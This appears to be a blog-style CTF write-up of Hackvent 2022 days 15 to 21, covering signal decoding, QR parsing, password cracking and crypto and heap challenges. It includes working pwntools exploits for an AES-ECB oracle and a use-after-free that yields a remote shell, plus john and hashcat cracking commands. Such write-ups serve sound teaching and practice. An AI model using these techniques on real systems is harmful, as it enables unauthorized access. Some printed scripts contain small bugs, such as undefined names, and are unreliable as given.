Days fifteen through twentyone were the hard challenges. There were some really great coding challenges. I loved day sixteen, where I’ll have to check tons of QRcodes to find the flag. And day twenty, where I’ll abuse a unicode bug to brute force padding on an AES encryption. There were couple signals analysis challenges, including a radio wave and serial line decode. There was also a neat trick abusing how zip archives handle long passwords, and a nice relateively beginner-friendly heap exploitation.

HV22.15

Challenge

hv22-ball15 HV22.15 Message from Space
Categories: wirelessWIRELESS
forensicFORENSIC
Level: hard
Author: cbrunsch

One of Santa’s elves is a bit of a drunkard and he is incredibly annoyed by the banning of beer from soccer stadiums. He is therefore involved in the “No Return to ZIro beer” community that pledges for unrestricted access to hop brew during soccer games. The topic is sensitive and thus communication needs to be top secret, so the community members use a special quantum military-grade encryption radio system.

Santa’s wish intel team is not only dedicated to analyzing terrestrial hand-written wishes but aims to continuously picking up signals and wishes from outer space too. By chance the team got notice of some secret radio communication. They notice that the protocol starts with a preamble. However, the intel team is keen to learn if the message is some sort of wish they should follow-up. Can you lend a hand?

The download is a RDI Acoustic Doppler Current Profiler:

$ file message_1msps.cu8 
message_1msps.cu8: RDI Acoustic Doppler Current Profiler (ADCP)

Solution

Raw Analysis

The file is clearly made up of binary non-ASCII data. I’ll look at it with xxd running cat message_1msps.cu8 | xxd | less to get a feel for it. Looking at the top, it’s all 0x7f, 0x80, and an occasional 0x7e. I can look at this a bit more completely using Python:

oxdf@hacky$ python
Python 3.8.10 (default, Nov 14 2022, 12:59:47) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> with open('message_1msps.cu8', 'rb') as f:
...     bytes = f.read()
... 
>>> from collections import Counter
>>> Counter(bytes)
Counter({127: 9321343, 128: 6066621, 126: 559355, 129: 207626, 125: 51129, 121: 43856, 134: 41072, 133: 35989, 130: 35258, 122: 32513, 132: 26601, 123: 25113, 124: 22279, 131: 22227, 120: 15795, 135: 7836, 119: 386, 136: 73})

The vast majority of the bytes are in the 126 (0x7e) to 129 (0x81) range, but there are other values as well.

There’s not much of a pattern to make out looking at the bytes this way.

urh

There are lots of audio processing tools out there, but the one that makes this challenge easiest is Universal Radio Hacker. I’ll install it with python -m pip install urh, and then open it:

image-20221216095946618

Opening the file returns this:

image-20221216100055145

Zooming in on the chunk in the middle, it looks like a wave, where the amplitude changes between two values:

image-20221216100148050

To Binary Data

It looks like there’s 6 cycles per block, and if I assume that, I can try to interpret them as bit values:

img

Clicking into the Analysis tab, it does this conversion into bits for me:

image-20221216100500564

Instead of bits, it can show the result as ASCII, though it’s not right:

image-20221216101139787

The current “Decoding” is “Non-Return To Zero”, or NRZ. That’s using the scheme I described above, with high amplitude being a 1, and low being 0.

The Wikipedia page on NRZ shows several variations. Given that the theme of this challenge is space, Non-Return To Zero Space (NRZ(S)) seems interesting. In that scheme, a change in level is a one, and the same level is a 0.

urh has some other encodings, but not that:

image-20221216100820742

Clicking on the “…”, I can define my own. The “Differential Encoding” option under “Additional Functions” seems to be a good match, so I’ll add it by double-clicking it:

image-20221216100945136

Clicking “Save as…”, I’ll give it a name:

image-20221216101035791

Using that encoding, the file starts with all 1s:

image-20221216101738032

Changing to ASCII, after the first two bytes of 1s (the preamble from the description?), it is ASCII:

image-20221216102141896

The full string is:

ÿÿSFYyMnt2LXdpc2gtdi1nMHQtYjMzcn0=FYyMnt2LXdpc2gtdi1nMHQtYjMzcn00

The string up to the “=” decodes as the flag in base64:

$ echo SFYyMnt2LXdpc2gtdi1nMHQtYjMzcn0= | base64 -d
HV22{v-wish-v-g0t-b33r}

Flag: HV22{v-wish-v-g0t-b33r}

HV22.16

Challenge

hv22-ball16 HV22.16 Needle in a qrstack
Categories: funFUN
Level: hard
Author: dr_nick

Santa has lost his flag in a qrstack - it is really like finding a needle in a haystack.

Can you help him find it?

The downloaded image is giant (for an image):

$ file haystack.png 
haystack.png: PNG image data, 24800 x 24800, 1-bit grayscale, non-interlaced
$ ls -lh haystack.png 
-rw-rw-r-- 1 oxdf oxdf 8.2M Dec 15 20:34 haystack.png

It’s a QRcode made up of smaller QRcodes (zoomed version here):

image-20221216102552182

Solution

I’ll need to write a program to parse 853,126 sub-images as QRCodes and find one that has a flag. I’ll show my process in this video:

The final script is:

#!/usr/bin/env python3

from PIL import Image
import pyzbar.pyzbar as pyzbar
import sys

Image.MAX_IMAGE_PIXELS = 615050000

def get_qrs(im, div_by_arr):
    global count_img, count_codes
    width, height = im.size
    div_by = div_by_arr[0]

    sw, sh = width // div_by, height // div_by

    for y in range(0, height, sh):
        for x in range(0, width, sw):
            square = im.crop((x, y, x + sw, y + sh))
            count_img += 1
            if len(div_by_arr) > 1:
                get_qrs(square, div_by_arr[1:])

            codes = pyzbar.decode(square, symbols=[pyzbar.ZBarSymbol.QRCODE])
            for code in codes:
                count_counts += 1
                if code.data != b"Sorry, no flag here!":
                    print(code.data)
                    print(f'{count_img=}\n{count_codes=}')
                    im.save('flag.png')
                    #sys.exit()

im = Image.open('haystack.png')
im = im.crop((2400, 2400, 22400, 22400))

count_img, count_codes = 0, 0
get_qrs(im, [25, 2, 2, 2, 2, 2])
print(f'{count_img=}\n{count_codes=}')

The script runs in a bit over a minute, finding the flag in around 40 seconds:

$ time python solve.py 
b"HV22{1'm_y0ur_need13.}"
  count_img=437543
  count_codes=6979
Final:
  count_img=853125
  count_codes=14443

real    1m15.869s
user    1m15.487s
sys     0m0.369s

Flag: HV22{1'm_y0ur_need13.}

HV22.17

Challenge

hv22-ball17 HV22.17 Santa's Sleigh
Categories: forensicFORENSIC
reverse_engineeringREVERSE_ENGINEERING
Level: hard
Author: dr_nick

As everyone seems to modernize, Santa has bought a new E-Sleigh. Unfortunately, its speed is limited. Without the sleight’s full capabilities, Santa can’t manage to visit all kids… so he asked Rudolf to hack the sleigh for him.

I wonder if it worked.

Unfortunately, Rudolph is already on holiday. He seems to be in a strop because no one needs him to pull the sledge now. We only got this raw data file he sent us.

The file is a single long ASCII line, with 6211 characters:

$ file SantasSleigh.raw 
SantasSleigh.raw: ASCII text, with very long lines, with no line terminators
$ wc SantasSleigh.raw
   0    1 6211 SantasSleigh.raw

The characters are all 0, 1, 2, and 3:

$ grep -o . SantasSleigh.raw | sort | uniq -c
    226 0
   1146 1
   1865 2
   2974 3

A couple of hints were released on the Hackvent discord when no one solved it:

Rodolph is heavy on duty during his holiday trip, but he managed to send und at least a photo of his first step.

Image

And then:

Rudolf finally wants some peace and quiet on vacation. But send us one last message: “I thought they speak 8 or 7 N1” together with that picture.

Image

Solution

These are serial line readings, and the tool pictured in the second hint is PulseView, part of the sigrok project. These devices are UART devices.

I’ll open PulseView and select “Import Raw binary logic data”:

image-20221218172427169

I don’t know either of these for sure. I’ll leave number of channels at 8, and change the sample rate to basically anything (I don’t think it matters). I’ll use 1200.

It opens like this:

image-20221218173200805

There are only two channels in use, so I can clear the other 6.

Zooming in, I’ll notice that data is transmitted in chunks of four samples:

image-20221218173301469

That shows that the baud rate needs to be 1/4 of the sample rate (so 300).

The button at the top right of the menu bar is to add a decoder:

image-20221218173413173

I’ll click and select UART. It adds, unconfigured:

image-20221218173440748

I’ll click on it to configure it:

image-20221218173611355

This applies the decoder to channel 0 with the correct baud rate, 8 databits and no parity (8N1). By selecting the data format as ASCII, I can see the messages from 0:

image-20221218173632075

I could try to add channel 1 as the TX line, but it won’t work. It’s actually using 7N1. I’ll add a second UART decoder, and configure it:

image-20221218173737583

Now the replies are there:

image-20221218173759546

There are some odd bytes mixed in, but the script goes:

0: Hello!

1: Hi.

0: Tell me the secret!

1: Never.

0: So, give me the flag instead.

1: No way.

0: Please!

1: Ok, here it is: HV22{H4ck1ng_S4nta’s_3-Sleigh}

0: Thx!

image-20221218174043153

Flag: HV22{H4ck1ng_S4nta's_3-Sleigh}

HV22.18

Challenge

hv22-ball18 HV22.18 Santa's Nice List
Categories: cryptoCRYPTO
Level: hard
Author: keep3r

Santa stored this years “Nice List” in an encrypted zip archive. His mind occupied with christmas madness made him forget the password. Luckily one of the elves wrote down the SHA-1 hash of the password Santa used.

 xxxxxx69792b677e3e4c7a6d78545c205c4e5e26

Can you help Santa access the list and make those kids happy?

In this year’s HACKvent, you can be assured that all bruteforcing hurdles do not take longer than 5 minutes on an Intel(R) UHD Graphics 620, if done smartly and correctly.

The download is a zip:

$ file nice-list.zip 
nice-list.zip: Zip archive data, at least v?[0x333] to extract

Trying to extract asks for a password:

$ 7z x nice-list.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 9 5900X 12-Core Processor             (A20F10),ASM,AES-NI)

Scanning the drive for archives:
1 file, 554 bytes (1 KiB)

Extracting archive: nice-list.zip
--
Path = nice-list.zip
Type = zip
Physical Size = 554

    
Enter password (will not be echoed):

Solution

Strategy

This challenge is centered around the vulnerability laid out in this article on bleepingcomputer. It turns out that if a zip password is longer than 64 characters, that password is SHA1 hashed, and the resulting bytes are used as the password.

This is cool in a scenario where the password that has a SHA1 hash that’s also ASCII text, as now there are two different passwords that can be typed in that will unzip the archive.

I’m given all but the first six bytes of the SHA1 of the password. I’ll note that all the hex bytes in the remaining hash are in the ascii range:

>>> bytes.fromhex('69792b677e3e4c7a6d78545c205c4e5e26')
b'iy+g~>LzmxT\\ \\N^&'

This means there are only three unknown bytes in a potential password.

Crack

Three unknown bytes is still 2^24 possible unknowns, so I’ll need to use a hash cracking tool like john or hashcat to try. To get a hash that these can break, I’ll use zip2john and save the results into a file:

$ zip2john nice-list.zip | tee zip_hashes 
nice-list.zip/flag.txt:$zip2$*0*3*0*e07f14de6a21906d6353fd5f65bcb339*5664*41*e6f2437b18cd6bf346bab9beaa3051feba189a66c8d12b33e6d643c52d7362c9bb674d8626c119cb73146299db399b2f64e3edcfdaab8bc290fcfb9bcaccef695d*40663473539204e3cefd*$/zip2$:flag.txt:nice-list.zip:nice-list.zip
nice-list.zip/nice-list-2022.txt:$zip2$*0*3*0*a53ba8a665f2c94e798835ab626994dd*96cc*5b*72b0a11e9ef17568256695cf580c54400f41cfe0055f1b0800ff91374216313ff9b6dc2c9b1309f9765e3873122d8e422e2d9ecd2c7aa6cbf66105ce837a0fe46c18dc6ccc0cb25f59233c9223d699f43bc2e69c5117b307f813fc*6308b50240b2b882b61e*$/zip2$:nice-list-2022.txt:nice-list.zip:nice-list.zip

There’s two there, likely the same. Now I can use john to crack. The --mask option allows me to give a password with different wildcards in it. This cheat sheet has a nice layout of the different masks:

image-20221220104242834

So I can use three ?A to represent the unknown bytes (they don’t have to be ASCII):

$ john --mask='?A?A?Aiy+g~>LzmxT\\ \\N^&' zip_hashes                      
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Loaded hashes with cost 1 (HMAC size) varying from 65 to 91                                                                                                                                                        
Will run 4 OpenMP threads                                                                                
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:00:04 2.44% (ETA: 22:01:26) 0g/s 66914p/s 135857c/s 135857C/s *niy+g~>LzmxT\ \N^&..aniy+g~>LzmxT\ \N^&         
4Ltiy+g~>LzmxT\ \N^& (nice-list.zip/nice-list-2022.txt)                 
4Ltiy+g~>LzmxT\ \N^& (nice-list.zip/flag.txt)     
2g 0:00:00:08 DONE (2022-12-18 21:58) 0.2490g/s 69371p/s 138743c/s 138743C/s  stiy+g~>LzmxT\ \N^&..eqtiy+g~>LzmxT\ \N^&
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

It finds the password in a few seconds.

I could do the same thing with hashcat using the -a 3 to set up a brute-force or mask attack. I’ll trim the hashes down to match the format in the example hashes page for id 13600. Then instead of a wordlist, I give the pattern with a similar set of rules to the ones from john:

image-20221220104603756

I’ll use three ?b to check all bytes with:

$ hashcat -a 3 -m 13600 zip_hashes-hashcat "?b?b?biy+g~>LzmxT\ \N^&"
...[snip]...
$zip2$*0*3*0*a53ba8a665f2c94e798835ab626994dd*96cc*5b*72b0a11e9ef17568256695cf580c54400f41cfe0055f1b0800ff91374216313ff9b6dc2c9b1309f9765e3873122d8e422e2d9ecd2c7aa6cbf66105ce837a0fe46c18dc6ccc0cb25f59233c9223d699f43bc2e69c5117b307f813fc*6308b50240b2b882b61e*$/zip2$:4Ltiy+g~>LzmxT\ \N^&
$zip2$*0*3*0*e07f14de6a21906d6353fd5f65bcb339*5664*41*e6f2437b18cd6bf346bab9beaa3051feba189a66c8d12b33e6d643c52d7362c9bb674d8626c119cb73146299db399b2f64e3edcfdaab8bc290fcfb9bcaccef695d*40663473539204e3cefd*$/zip2$:4Ltiy+g~>LzmxT\ \N^&
...[snip]...

Unzip

With the password, I’ll use 7z to extract the files:

$ 7z x nice-list.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 9 5900X 12-Core Processor             (A20F10),ASM,AES-NI)

Scanning the drive for archives:
1 file, 554 bytes (1 KiB)

Extracting archive: nice-list.zip
--
Path = nice-list.zip
Type = zip
Physical Size = 554

    
Enter password (will not be echoed):
Everything is Ok

Files: 2
Size:       175
Compressed: 554

In addition to nice-list-2022.txt, there’s a flag.txt which has the flag:

$ cat flag.txt 
HV22{HAVING_FUN_WITH_CHOSEN_PREFIX_PBKDF2_HMAC_COLLISIONS_nzvwuj}

Flag: HV22{HAVING_FUN_WITH_CHOSEN_PREFIX_PBKDF2_HMAC_COLLISIONS_nzvwuj}

HV22.20

Challenge

hv22-ball20 HV22.20 § 1337: Use Padding 📝
Categories: cryptoCRYPTO
Level: hard
Author: kuyaya

Santa has written an application to encrypt some secrets he wants to hide from the outside world. Only he and his elves, who have access too all the keys used, can decrypt the messages 🔐.

Santa’s friends Alice and Bob have suggested that the application has a padding vulnerability❗, so Santa fixed it 🎅. This means it’s not vulnerable anymore, right❗❓

Santa has also written a concept sheet of the encryption process:

Start the service in the Resources section, connect to it with nc <docker> 1337 and get the flag!

You can download the service’s source code from Resources section. We don’t want to make challenges guessy, do we? 😉

Solution

Source Analysis

The given source for the server is a Python script:

#!/usr/bin/env python3

from Crypto.Cipher import AES
from os import urandom

# pad block size to 16, zfill() fills on left. Invert the string to fill on right, then invert back.
def pad(msg):
    if len(msg) % 16 != 0:
        msg = msg[::-1].zfill(len(msg) - len(msg) % 16 + 16)[::-1]
    return msg

flag = open('flag.txt').read().strip()

while True:
    aes = AES.new(urandom(16), AES.MODE_ECB)
    msg = input("Enter access code:\n")
    enc = pad(msg) + pad(flag)
    enc = aes.encrypt(pad(enc.encode()))
    print(enc.hex())

    retry = input("Do you want to try again [y/n]:\n")
    if retry != "y":
        break

Something like socat must be exposing this to the internet using port 1337.

Strategy

The two bits of data (msg and flag) are padded as characters before they are combined, and then the entire thing is converted to bytes (.encode()) and then it’s padded again and encrypted.

I suspect the script author would have done this to prevent me from sending a message such that there’s only one unknown byte in the last block. If that were the case, I could generate all possible blocks of one character and then 15 pad bytes, and send them to see which matched the last block of flag.

Because my input is padded, I can’t easily adjust the spacing of flag.

The trick is to look for characters that will take up one space as characters, but multiple bytes once encoded. The emoji littered through the challenge description are a nice hint. For example, trying some of the symbols in the challenge text:

>>> len('🎅')
1
>>> len('🎅'.encode())
4
>>> len('❗'.encode())
3
>>> len('§'.encode())
2

The last one is most valuable to me, as I can use to shift the flag buffer one byte at a time.

Script

I’ll generate a Python script to exploit this and leak the flag in this video:

The final script is:

#!/usr/bin/env python3

import string
import sys
from pwn import *


r = remote(sys.argv[1], 1337)


def probe(msg):
    r.sendlineafter(b"Enter access code:\n", msg)
    res = r.recvline().strip()
    r.sendlineafter(b"[y/n]:\n", b"y")
    return res


def pb(res):
    for line in zip(*(iter(res.decode()),)*32):
        print(''.join(line))


def get_flag_len():
    for i in range(1, 16):
        res = probe(('0'*16 + '§'*(i+1) + '0'*(16-i)).encode())
        print(i+1)
        pb(res)

    
def get_next_char(flag):
    for c in string.printable[:-6][::-1]:
        print(f'\r{c}{flag}', end='')
        payload = (c + flag[:15])
        payload += (16 - len(payload)) * '0'
        num_multi = (15 + len(flag)) % 16
        payload += '§' * num_multi + '0'* ((16-num_multi) % 16)
        res = probe(payload.encode())
        offset = ((len(flag) + 30) // 16) * -32
        if res[:32] == res[offset:][:32]:
            break
    else:
        assert False
    return c + flag


def get_next_char_fast(flag):
    payload = ''
    payload += ''.join(f'{c}{flag[:15]}'.ljust(16, '0') for c in string.printable[:-6])
    n = (len(flag) + 14) % 16 + 1
    payload += '§'*n + '0'*(16-n)
    res = probe(payload.encode())
    offset = ((len(flag) + 30) // 16) * -32
    return string.printable[res.index(res[offset:][:32])//32] + flag


flag = ''
while not flag.startswith('HV22{'):
    flag = get_next_char2(flag)
    print(f'\r{flag}', end='')

print()

In the end, I can get the flag:

$ python solve.py 152.96.7.9
[+] Opening connection to 152.96.7.9 on port 1337: Done
HV22{len()!=len()}
[*] Closed connection to 152.96.7.9 port 1337

Flag: HV22{len()!=len()}

HV22.21

Challenge

hv22-ball21 HV22.21 Santa's Workshop
Categories: exploitationEXPLOITATION
Level: hard
Author: 0xi

Santa decided to invite you to his workshop. Can you find a way to pwn it and find the flag?

There’s an instance and a binary to download. The binary is a 64-bit ELF:

$ file santasworkshop.elf 
santasworkshop.elf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=14aac965f690be29c5d8a90a8e44e4316e703ce2, not stripped

Connecting to the instance or running the binary offer the same menu:

$ nc 152.96.7.19 1337
Welcome to Santa's Workshop
Enjoy your stay but don't steal anything!
1 View naughty list
2 Check the workshop for items
3 Steal presents
4 Tell a good deed
>

Solution

This challenge involves identifying a few key parts:

  • There’s a function that’s not called named present that just returns a shell.
  • There’s an information leak in menu item 1 that will give the necessary information to get the address of present despite PIE being enabled.
  • There’s a use after free vulnerability on the workshop construct which can be exploited with a combination of menu items 3, then 4, then 2, using the address of present.

This video shows all the steps to getting shell on the server:

The final exploit script is:

#!/usr/bin/env python3

import sys
from pwn import *


r = remote(sys.argv[1], 1337)

# leak present address
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'the entry\n', b'-2147483644')
res = r.readuntil(b'>')
pie_leak = u64(res[:-2].ljust(8, b"\x00"))
present_addr = pie_leak - 0x309
success(f'Found present address: 0x{present_addr:08x}')

# free workshop
r.sendline(b'3')

# claim heap allocation
payload = "0xdf".ljust(40, "\x00").encode() + p64(present_addr)
r.sendlineafter(b'> ', b'4')
r.sendlineafter(b'deed?\n', b'48')
r.sendlineafter(b'deed\n', payload)

# trigger
r.sendlineafter(b'> ', b'2')
r.interactive()

Running it gives a shell and I can read FLAG:

$ python solve.py 152.96.7.2 
[+] Opening connection to 152.96.7.2 on port 1337: Done
[+] Found present addr: 55a2a13df98a
[*] Switching to interactive mode
 $ cd challenge
$ cat FLAG


        ##############  ##    ####  ####    ##############
        ##          ##  ######  ######  ##  ##          ##
        ##  ######  ##      ##############  ##  ######  ##
        ##  ######  ##      ##    ####  ##  ##  ######  ##
        ##  ######  ##  ########        ##  ##  ######  ##
        ##          ##  ##    ##    ##  ##  ##          ##
        ##############  ##  ##  ##  ##  ##  ##############
                        ##  ######  ######
        ######    ####  ######    ######  ########    ####
        ####  ####    ##  ####    ##    ######        ####
        ######      ######    ##      ##    ##    ##  ####
        ####  ##      ##  ##      ##  ####    ####      ##
            ####  ####    ##  ######        ##  ##      ##
          ##              ##    ##      ####  ##      ##
        ####    ##  ########    ########      ##  ##    ##
            ##        ##      ####  ####  ##########
        ####  ########  ##        ################    ##
                        ##        ########      ##  ##
        ##############    ##  ##        ##  ##  ##      ##
        ##          ##  ######    ##    ##      ####  ####
        ##  ######  ##    ##  ######  ############  ######
        ##  ######  ##      ##  ##        ##          ##
        ##  ######  ##  ######  ########    ##  ##########
        ##          ##  ##    ####  ##    ##  ######
        ##############  ##        ####  ######  ##  ##  ##

I had a hard time reading that flag directly, but I loaded it up in Gimp and colored around the # to make a more readable QR:

Flag: HV22{PWN_4_TH3_W1N}